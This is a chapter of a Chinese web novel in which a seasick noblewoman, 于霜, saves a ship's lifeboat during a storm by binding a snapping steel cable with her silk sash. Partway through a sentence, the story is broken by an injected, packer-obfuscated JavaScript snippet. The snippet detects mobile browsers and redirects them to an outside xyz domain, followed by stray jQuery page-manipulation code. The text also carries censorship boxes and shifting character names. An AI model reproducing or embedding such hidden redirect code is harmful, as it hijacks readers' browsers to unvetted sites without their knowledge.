3. 风暴舞厅
作品:《大小姐的航海训犬日志》 接下来的两天,海况开始变得更加诡谲起来。
天空不再是均匀的灰色,而是堆积起厚重、边缘泛着肮脏黄褐色的低垂云层,如同吸饱了污水的棉絮沉沉地压在海面上。
阳光彻底消失,白昼也昏暗如黄昏。
风,不再是单一方向的劲吹,而是变得忽东忽西,毫无规律。
在这种无常的风中,诺尔尼斯号笨拙地调整着风帆,转向时那种船尾下沉、复原缓慢的现象更加频繁和明显。
即使是经验最丰富的老水手们,此时脸上轻松的神色也已消失。
他们紧盯着海天相接处那越来越浓重的、仿佛要吞噬一切的黄黑色□□,检查绳索和帆具的动作带着一种无声的急迫。
空气中弥漫着浓重的湿气、臭氧的微腥和一种山雨欲来的、令人汗毛倒竖的低气压。
于霜站在自己舱室那扇小小的舷窗前,掌心紧紧贴着冰冷的玻璃。
她能清晰地感受到脚下船体每一次不自然的、带着拖沓感的晃动。
每一次右满舵后船尾那令人心悸的下沉和迟缓的复原,都像重锤敲在她紧绷的神经上。
窗外,一道惨白的、无声的闪电,骤然撕裂了昏暗的天幕,短暂地照亮了那翻腾如沸水的、充满恶意的海面。
风暴,要来了。
-
铅灰色的天穹彻底塌陷。
厚重的、泛着污浊黄褐色的云层如同沸腾的巨釜,低垂得几乎要压碎诺尔尼斯号的桅杆。
阳光被彻底吞噬,白昼昏沉如末日黄昏。
小餐厅早已一片狼藉。简陋的木桌被掀翻,锡盘、木碗、食物残渣随着船体的每一次疯狂倾斜在地板上四处飞溅、滑动、撞击。
空气中弥漫着呕吐物的酸腐、海水的腥咸、湿透毛料的馊味,以及浓得化不开的、名为“恐惧”的气息。
于霜蜷缩在角落里一个相对固定的长凳下,背死死抵着冰冷的舱壁。
她脸色惨白如纸,嘴唇被咬出了血痕,胃里翻江倒海。
强烈的晕眩感如同无数只冰冷的手攥紧了她的头颅,每一次剧烈的横摇都像要把她的五脏六腑从喉咙里甩出来。
她死死捂住嘴,但那股无法抑制的恶心感还是冲破了防线——
“呕——!”
胃里仅存的一点食物残渣混合着酸水喷涌而出,溅湿了她深色的斗篷前襟和冰冷的地板。屈辱和生理上的极度不适让她浑身颤抖,冷汗浸透了里衣。
门外充斥着其他船员同样痛苦的呕吐声和压抑的、带着哭腔的祈祷或咒骂。
那个曾挑衅她的布莱克,此刻正抱着一个木桶,吐得天昏地暗,脸上只剩下纯粹的恐惧。
“上帝啊!救救我们!”
“左满舵!稳住!稳住啊!”
“主帆!主帆控索要断了!!”
绝望的嘶吼和指令声透过舱壁和风浪的咆哮隐隐传来,敲打着每个人的神经。
突然!
“轰——咔啦啦!!!”
一声远比风浪更恐怖的、仿佛钢铁巨兽被生生撕裂的巨响从船体深处传来!
紧接着,诺尔尼斯号如同被无形的巨锤狠狠砸中船尾,猛地向左舷发生了前所未有的、超过四十五度的致命性大倾斜!
“啊——!!”
“船要翻了!!”
餐厅里瞬间爆发出绝望的哭嚎!
所有人都像破麻袋一样被狠狠甩向左侧舱壁,重重撞在一起!
于霜只觉得天旋地转,身体不受控制地砸在冰冷的木板上,眼前金星乱冒,骨头仿佛散了架。
冰冷的海水不知从哪个缝隙涌入,瞬间漫过了她的脚踝。
重心后移,压舱水系统失控!
父亲日志里的警告如同惊雷在她混乱的脑海中炸响。
威廉船长笃信的“翻不了船”,在复合风险的叠加引爆下,成了最残酷的笑话!
“所有人!抓紧固定物!!”老水手嘶哑的吼声带着绝望。
-
甲板上早已是地狱。
狂风卷着冰冷的、如同子弹般的雨点和咸涩的海水,劈头盖脸地砸来,几乎让人无法呼吸。
能见度几乎不足十米。
巨大的浪墙带着毁灭的力量一次次冲刷着甲板,试图将一切活物卷入深渊。
江熠如同雕塑般钉在领航台边缘,全身湿透,雨水顺着棱角分明的下颌和束紧的黑发狂流。
他死死抓住湿滑的栏杆,对着传声筒嘶吼着舵令,声音被风撕扯得破碎。
“吉勒——关闭舱门——”
“明白了,副船长。”
威廉船长就在他旁边,花白的胡子贴在脸上,鹰隼般的眼中此刻充满了血丝和前所未有的凝重,亲自观察着浪涌方向。
“左舷!稳住!压住!!”威廉船长的吼声带着一丝不易察觉的颤抖。
刚才那恐怖的倾斜,几乎让他心脏停跳。
经验告诉他,这绝非寻常风浪能造成的。
重心…压舱水…罗伊女儿的话…冰冷的悔意瞬间攫住了他,但现在不是想这个的时候。
“船长!副船长!!”一个水手连滚带爬地冲过来,满脸是水,分不清是雨水还是泪水,“货舱口被浪冲开了一条缝!海水在往里灌!还有……左舷中段……一根固定救生艇的钢缆……被崩断的帆给砸断了!救生艇,救生艇要被甩出去了!”
救生艇?那是风暴中最后的希望!
威廉船长和江熠脸色剧变。
货舱进水还能设法堵,救生艇若被甩飞或砸毁,在这远离航线的狂暴海域,一旦船沉,所有人必死无疑!
“带人去堵货舱口!快!”威廉船长对着水手吼道,随即猛地看向江熠,“贝利!稳住舵!我去救生艇那边!”
老船长爆发出惊人的力量,抓着绳索,跌跌撞撞地冲向风雨飘摇的左舷。
江熠咬紧牙关,他知道船长去那边有多危险,但他不能离开舵位。
他只能死死盯着船长的方向,心脏如同被一只冰冷的手攥紧。
他看到威廉船长和另外两个水手艰难地靠近那艘在狂涛中如同玩具般疯狂摇摆、仅靠一根钢缆悬吊的救生艇。
断裂的钢缆如同死蛇般在甲板上抽打,另一根完好的钢缆在巨大的拉力下发出濒临断裂的呻吟。
威廉船长试图抓住那根完好的钢缆加固,但一个巨大的浪头猛地拍上左舷。
船体再次剧烈□□。
老船长脚下一滑,整个人被甩飞出去,重重撞在湿滑的舱壁上,闷哼一声,一时竟无法爬起。
那根完好的钢缆在救生艇疯狂的拖拽下,与固定环摩擦出刺眼的火花,眼看就要崩断。
“船长!!”水手绝望的呼喊淹没在风浪中。
江熠目眦欲裂,他想冲过去,但领航台离不开他,他只能眼睁睁看着那艘承载着最后希望的救生艇,即将带着老船长一起被狂暴的大海吞噬!
就在这千钧一发之际——
一个纤细却决绝的身影,如同扑火的飞蛾,猛地从通往甲板的舱门冲了出来。
狂风瞬间撕扯开她深色的斗篷,露出里面早已被呕吐物和海水浸透、狼狈不堪的墨绿色绸裙。
她脸色惨白,脚步虚浮,剧烈的晕眩让她几乎站立不稳,但那双鎏金色的眼眸,却在昏暗暴虐的天地间,亮得惊人。
是于霜!
她不知何时挣脱了晕船的束缚,冲上了这死亡甲板。
她一眼就看清了险境:濒临断裂的钢缆、被甩飞受伤的威廉船长、摇摇欲坠的救生艇。
没有半分犹豫,她甚至无视了劈头盖脸砸来的巨浪和脚下湿滑欲倾的甲板,猛地扑向那根如同毒蛇般在甲板上抽打的断裂钢缆头。
冰冷沉重的钢缆几乎将她带倒,咸涩的海水呛入口鼻。
她咬紧牙关,用尽全身力气,试图将那沉重的断缆拖向救生艇完好的固定环方向。
但她的力量在钢铁和大海的伟力面前,渺小得可怜。
“滚回舱里去!西蒙·珀金斯!!”
一声暴怒到极致的嘶吼穿透风浪,如同惊雷炸在于霜耳边。
江熠双目赤红,死死盯着那个在死亡边缘挣扎的纤细身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221547|181538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
影,“这里不是你的贵族舞厅!你会死的!”
于霜猛地抬头,隔着狂乱的雨幕和滔天巨浪,迎上江熠那双燃烧着怒火、恐惧和难以置信的墨黑眼眸。
剧烈的横摇让她几乎跪倒,胃里翻腾欲呕,但她死死抓住那冰冷的断缆,用尽全身力气,将父亲日志里的警告和此刻的生死危机,化作一句裹挟着狂风巨浪的、无比清晰的回击,狠狠砸了回去:
“那就看好你的船!贝利先生!”
她的声音嘶哑,却带着一种穿透一切混乱的锋利,“等舱壁被涌进的海水压裂时——”
她剧烈喘息,目光扫过货舱口方向和水线下船体那令人心悸的扭曲姿态。
“记得跪下来求我递给你用来堵漏的木板。”
话音未落,她做出了一个让所有人都目瞪口呆的举动。
见她猛地扯下自己早已被海水浸透、沾着呕吐物污渍的、束在纤腰上的那条宽幅丝绸腰带。
那是她华服上最后的、属于贵族小姐的精致残留物。
她将那韧性极佳的、浸水后反而更加柔韧强固的丝绸腰带,以一种令人眼花缭乱的、源自贵族束腰技艺的复杂手法,死死缠绕在断裂钢缆的末端和那根即将崩断的完好钢缆上。
一圈、
两圈、
三圈……
打结、收紧、再打结!
她纤细的手指在冰冷刺骨、粗粝磨人的钢铁与湿滑丝绸间翻飞,动作快得不可思议,带着一种孤注一掷的狠劲。
就在那根完好钢缆发出最后一声绝望呻吟、即将彻底断裂的瞬间——
于霜完成了最后一个死结。
浸透海水的名贵丝绸腰带,如同一条坚韧的救命藤蔓,死死地、暂时地,将断裂的钢缆头与那根承载着救生艇最后重量的钢缆捆缚连接在了一起。
巨大的拉力瞬间转移到丝绸束带上,发出令人牙酸的紧绷声,但它竟然真的暂时撑住了!
这短暂的、不可思议的缓冲,为旁边被撞懵的水手赢得了宝贵的几秒钟。
他们如梦初醒,嚎叫着扑上来,用能找到的一切绳索和工具,疯狂地加固、替换。
救生艇暂时稳住了!
威廉船长也被水手趁机拖到了相对安全的地方!
江熠站在领航台上,狂风暴雨将他全身浇透。
他死死盯着甲板上那个摇摇欲坠、扶着船舷剧烈干呕的纤细身影。
她华贵的绸裙破烂不堪,沾满污秽,湿漉漉的黑发贴在苍白的脸颊上,狼狈得如同被暴风雨蹂躏过的残花。
但就在刚才,她用一条丝带,在死神镰刀下,为这艘船、为老船长、为所有人,抢回了一线生机!
他墨黑的瞳孔中,翻涌着前所未有的剧烈风暴——震惊、难以置信、被打脸的难堪、被冒犯权威的怒火、以及一种连他自己都无法理解的、被那脆弱身躯里爆发出的决绝力量所撼动的悸动。
那句“滚回舱里去”的咆哮还哽在喉间,而她那句“跪下来求我递木板”的锋利回击,如同冰冷的匕首,狠狠扎在他引以为傲的专业自负之上。
压舱水隐患爆发,船体濒临倾覆,货舱进水,救生艇险毁……她预言的一切,正在上演。
而拯救这危局的第一个关键节点,竟是由这个被他视为“麻烦包裹”、“纸上谈兵”、“该待在舞厅”的贵族小姐,用一条丝带完成的。
脚下的诺尔尼斯号仍在狂暴的大海中痛苦呻吟、挣扎。
更大的危机如同潜伏在墨黑深渊下的巨兽,随时可能给予致命一击。
而江熠知道,这场风暴,才刚刚开始。
他和她之间,那堵由偏见和傲慢筑起的高墙,也在这一刻,被狂风巨浪和一条染污的丝绸腰带,撕开了一道巨大的、无法忽视的裂口。
他猛地转回头,不再看她,而是用尽全身力气嘶吼出新的舵令,试图将船头艰难地对准下一个扑来的巨浪。
只是那吼声中,少了几分绝对的掌控,多了一丝连他自己都未曾察觉的……动摇和急切。
这位西蒙.珀金斯,可真是个……不怕死的大小姐。